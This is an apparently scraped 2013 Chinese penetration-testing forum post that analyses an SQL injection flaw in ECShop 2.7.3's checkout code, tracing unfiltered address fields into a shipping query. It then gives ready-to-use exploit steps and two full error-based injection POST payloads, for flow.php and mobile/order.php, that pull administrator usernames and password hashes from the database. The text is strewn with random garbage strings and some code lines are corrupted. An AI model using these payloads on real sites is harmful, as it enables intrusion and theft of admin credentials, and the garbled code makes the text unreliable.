中国网络渗透测试联盟

标题: ecshop全版本注入分析 [打印本页]

作者: admin    时间: 2013-1-13 09:48
标题: ecshop全版本注入分析
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。- b! O  R9 N9 i$ z/ i) o& d

) O$ }8 h4 k: R' R2 |    漏洞关键文件:
+ N' V+ y8 I8 D! w. L  ]6 o8 e
- q$ ^! h) m4 S2 ^& w    /includes/lib_order.php
6 x# q+ S! \# \7 I/ }# m; h% l( Z( q9 s- }( B! l- v. |* Y
    关键函数:
0 c$ j5 X) j( T. C9 F
( w9 z) e5 ]7 Y* \
+ U# Z$ ~/ ]8 e" n! m4 g1 [" h1 g0 u" I: `2 B; o8 ~* Q0 g( f, `
01     function available_shipping_list($region_id_list)
& M' c. G4 U; I4 D$ z( |8 R. }8 K
02 {
* [, T7 \4 C, m; X" e/ g) h$ W  _8 V+ c; b* ]) q4 j  q
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
% ^4 f! x3 N4 \. H" `- }' y
3 J+ `/ I! q4 A- v0 H! \04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . : W& r- @! ?' L  E* a

5 s  }- c4 L# S% s0 Y05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
: t( S9 c0 E3 Y
1 u( e) k* T6 ?06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . $ J! m1 {# t$ }( [& j$ K

$ f1 Y) ?" t" u8 F$ R, k6 m2 j; z5 g07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. : Q# L9 T8 P% Y0 a& `: M
4 Z  P" c- G# w9 H* _! S7 A
08             'WHERE r.region_id ' . db_create_in($region_id_list) . 5 ^3 }' E+ P* S
6 F. u+ p8 H% [0 Z5 X! l
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
; a, a8 z: U  U" V# C. k8 I' W) ]! ]0 L+ z3 _
10   
8 q6 B: {- h3 U' A5 ~
/ |( h( ?3 i' V/ d5 V( A2 O11     return $GLOBALS['db']->getAll($sql);
; F6 U* b2 A' J5 N. }! W' S: Q; F. f; _1 }! f& T- b; |
12 }
% g# k7 s7 v: I* D+ a$ b$ `5 Z
) H- k" ~$ i. }: i& j6 y  g8 J  A显然对传入的参数没有任何过滤就带入了查询语句。! Q7 A7 J) O, r$ `# A  w
( Y2 V0 f- R& E6 D- c
下面我们追踪这个函数在flow.php中:
+ s1 t4 m+ P/ M" s. J- ] 第531行:   
# j  m6 m" l- i; f/ J. n+ K
4 |2 k& c2 }" ]  a* d1 S- N8 [% W1 $shipping_list     = available_shipping_list($region);
1 y% Y$ R8 F8 P% P0 o3 o+ k8 I$ X8 D9 p) m; q- s
$ p" M6 o: }6 X. l2 N
" k" {4 z+ X1 q( b
/ i. y, e* I, I% j* [

% ]! q' a  @. K7 Q( ~再对传入变量进行追踪:2 g+ O# o1 t& K
" l- w9 c3 I4 q; p% F5 v$ P! L6 I
第530行:   
$ \; L" y6 H. A  ^" Q( V1 k$ w4 r/ ^) |, `6 C; M* Q
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
* i% ?% Z2 I. E: @& ^1 _; O, W; k- ?
/ E' Q2 N7 d5 s/ _
  a5 D! [  ?4 S' x
: A5 d: N& w# z5 p
8 a- r1 ^" B4 i
6 u, l. ~& a7 m第473行:        6 |0 P8 W8 |$ D$ C! ~7 X

- E, p8 m& z. `3 t+ {1 $consignee = get_consignee($_SESSION['user_id']);
8 o$ v4 j1 k: y% F( g4 @+ O2 D
4 _! ~8 p9 v9 T$ M" G7 j4 ~* S4 B. Z3 h  l到了一个关键函数:0 ?) _# K+ |0 i
. k. Z9 {, y' c4 E3 U- T
/includes/lib_order.php, p9 F$ [5 g3 ^# C

3 B" l5 V) }8 t- x3 F 1 a/ G  }& c& V, A0 O
2 ^& f5 X" s' y( h

* Q) a$ v$ S% d# t$ s* b* x9 s
- c. e  O( P6 c01 function get_consignee($user_id) . y- |" G+ H& I' x' O# w7 Y% f* K

% d$ U/ E1 H$ K3 k  `, P- u; e4 c02 { 6 d3 T3 B$ T; U8 Q% z

+ f1 C" D/ R2 g+ I) q, g2 O3 Q03     if (isset($_SESSION['flow_consignee'])) 7 T/ v+ M  N3 F& D

& ]1 n9 d" `6 {( _& c04     {
) |  S3 [( z: i% L! Z5 d; m# z, ^7 S
3 S7 H8 i, `' Q: B+ U0 u$ C05         /* 如果存在session,则直接返回session中的收货人信息 */ 9 J- L4 V- v+ ?
) O1 E8 ?3 h3 R7 }
06   $ k3 _/ y& T. v+ H; Q* w6 z5 u
0 A0 c) l8 a! q% V2 n
07         return $_SESSION['flow_consignee'];
+ H+ s) Z4 N6 D$ E) L" G" D. ^
3 W3 j& H4 x  S" \; l/ u08     }   ?  N# z$ U* |9 t* m9 x/ o9 y
4 e4 ?' v* ]* p' g% R
09     else
$ F  T' r8 z& m/ h6 w( M8 P' U- B9 H4 n& h% N
10     {
: D* J5 K6 s0 N  ~4 ^, I+ b( f1 X# r$ g1 v
11         /* 如果不存在,则取得用户的默认收货人信息 */
' Z5 j* h) |1 C" U7 p, z3 w4 I9 U' u  N1 X
12         $arr = array();
* h& H/ L% @0 F0 ?- X" ~6 j4 X  }8 L  T, a0 V8 l! |& @( Q( ~1 s
13   
9 r% t% E4 u  [% K: \* S1 R$ `
* m" c7 p& n4 S' V* {7 x+ ]14         if ($user_id > 0) ' u$ q7 `8 ?) M' j! a
5 N% v# ^* I5 @, ~3 U! B
15         {
+ U+ X4 L* ?- k( v/ X/ m/ T. W8 a, J4 p
16             /* 取默认地址 */ 6 J* s! `) g0 Y! P
% P: t$ \5 S* @, i- C
17             $sql = "SELECT ua.*". / q: f3 C  X* k0 ~- Z. l+ ?
  W/ ?0 B: E& t0 Y3 `0 x- b* {
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 2 ?  f  h3 d0 i% ~$ R
: Y% u: X6 z' `1 R' x6 G
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
3 j. v6 Z- C) f* Q+ C. S  G  D3 n* @7 m+ Y4 x" X( S2 H) G2 [
20   
7 O. V' |6 Q# Y: j' G& U# R8 |) j, W$ r% J1 F2 y$ g
21             $arr = $GLOBALS['db']->getRow($sql);
# w, S+ V7 m" B9 x9 Y: g$ q2 \$ M( f6 T2 W7 R
22         } ; {. n' @: p# [5 y7 \9 F. e
$ w+ g5 Q8 L! I9 W$ H
23   & [; w6 I$ X  p; P5 p1 P6 T- v# |
5 ?8 [, h- U+ V: Y( T) N
24         return $arr;
, T. N$ T/ }7 H; _+ {1 t9 R( |. T9 y, n2 c$ o/ P
25     } ( `6 H5 j9 S8 n$ s/ ^

, O) M& |: x$ ], w26 }
. K2 z0 k4 }7 C! Y1 G2 e3 I; d7 x0 K" c+ \( K# K2 R6 E
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?) }; g2 _3 h2 N1 }; [; g! p& _

  L5 V( ?& Y" \7 ~8 k) ] : _" l9 `: d0 J3 r

0 A- L" b. a! h( @# T$ E) o关键点:; M1 i' Q, Y/ `1 E

! b6 r7 {: A9 m4 |5 k4 @第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);$ }6 f0 C# J2 `9 Z* y6 E
1 [& T. A9 I/ n5 F" I
这里对传入参数反转义存入$_SESSION中。
2 r; S; b. V+ {' o( R+ i
, d  [7 B  k  g. r
: R, t. V! b8 n" ]  v
6 L6 n7 s+ c1 D( k然后看下:3 F/ ~1 h4 r: ~* X

) |. ~4 Q& T' {% ~. ~ 7 }/ e3 _' e/ l( @
! a  h9 x9 i0 z- L, V! x
    & p$ a3 `* j6 j4 A+ ^2 u

6 e" S7 L! W: T7 M! p$ \01 $consignee = array(
; t1 Y9 w) J! o% ^" N2 E( L& l* j1 `/ @% P$ j
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
$ E7 i7 x5 D: t+ j
  o2 y" i6 E8 ^8 U+ R- X+ H03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
( ]( W" }4 \2 ~4 k, I2 X- [
! ^# X! L% [7 \9 H& i04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
- [7 P- o0 q6 E6 s7 g5 l# ?* O% I
2 c% s3 F5 _- T6 i% A* p05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
, E9 j0 q  y( ]- m$ w- n9 P
' V9 l' \9 k2 e06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
* D" q# A" y6 t
5 J! W) |0 O8 G: t' t07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
& Z- s7 p4 X; j- U0 K2 s: q/ w) M0 ^8 M3 P" _* c
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
4 R3 ^% I& O* t/ H5 D( V+ S
+ l8 E* P) y2 R) A  \6 [8 j09         'address'       => empty($_POST['address'])    ? '' _POST['address'], 7 v; G, I% j" i6 D9 B# @
1 _% x' y, k+ W/ A3 P$ N, j1 O
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
9 o7 [6 c- r# o5 x4 O" B9 i
6 R) N1 _1 F6 a# G0 Z11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
  W/ m9 J$ y7 i3 O' Z" y
7 }) w2 v* m6 K( e+ A" v( ~12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
& S. r8 o& x- d6 L- ~; \
( b8 E  x& k4 s0 o; y* j13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], / ]6 U0 h& w6 [+ O

, e1 w! J, z& o" b+ H! [9 X  r! v14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], ) }* ~) [) h8 n, v# G5 Z

6 u# n2 r6 V7 W! h- V15     );
" }% _4 D  [  T: ^' J/ R1 {! J
' P6 z+ f' m* Q. p1 Q: i, Q" t好了注入就这样出现了。; U1 a- |5 s, c1 K4 b5 Y/ M; N

, a' E* B6 ^* {- {& |/ [==================
7 b5 W2 f3 W6 G& B! z" w/ d4 n5 _+ f( n1 l6 |& W) `
注入测试:
. G5 E. l4 q- ^3 \  s+ P* Q
7 B, a5 Y& R0 S% P6 E环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
( g; Z+ z/ }2 N3 l+ q
3 k1 ^4 {4 P3 S3 y  r0 h0 _3 \测试程序:ECShop_V2.7.3_UTF8_release1106: E2 G0 Y8 `" n6 J/ E- D+ v
+ f8 V5 k4 W, s) Q  V; ]* Y! E
: B: p0 p: T) O

' e+ v5 U& p% H2 \% M$ F2 F0 K' m1.首先需要点击一个商品加入购物车! ^/ k3 S5 E- @( J2 m

/ q7 f( i4 g4 s% k5 i2 S/ {. T" R2.注册一个会员帐号2 d  Q/ i3 a5 k& B( T% [

8 n8 ~# P% N) z3 i$ ]% z3.post提交数据9 @+ D7 K; W& u( P: K
& s' W8 i+ y9 `# g4 Y: e

3 g+ m$ ]6 F" g2 R: x  c
$ q* n  r' U" m1 http://127.0.0.1/ecshop/flow.php
* Z$ h5 b( T3 V  E
  F) k, x0 c. G: W. y9 E2   
# x) T( |" j5 a2 O; U& r2 E
0 x( T4 ?9 Z2 u, m$ q5 j3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
9 \. c0 g5 z) H( h7 s8 X举一反三,我们根据这个漏洞我们可以继续深入挖掘:  J$ L  ]. F; }6 Q6 ~" o
" W* \& j9 @0 o' W
我们搜寻关键函数function available_shipping_list()
  @7 a% F" @. e. K$ [+ Y( z( N  g, [# _3 v
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同5 D+ H3 X$ _% ^

9 |5 p5 K. f" |# ]7 R. }8 y利用exp:
9 Q* p; g( f; ~; g7 F7 [0 ?& a" \* B2 E8 d$ R- a' V: ~' M$ D
1.点击一个商品,点击购买商标. H5 @2 J8 E, }" v- x) A5 `
/ {! C8 H* F4 Q. K$ n& x
2.登录会员帐号
9 [; h* H. q: L# v0 o  |) c: h  A  \! ^. v4 K9 q7 S/ T
3.post提交:
! ^7 A* R/ L  e5 J
9 Y8 U6 f( |* }1 v; t- bhttp://127.0.0.1/ecshop/mobile/order.php  {; |# a# q' s
5 i- S9 E9 S8 I* m( \5 m

/ V4 u9 Y0 a. E1 J
. n! H) x* P1 p/ R6 E3 M! u6 a3 Ccountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=  e# Y) [, C: q; c3 p( r& E- v
, c+ w* v  V) f& h, z





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2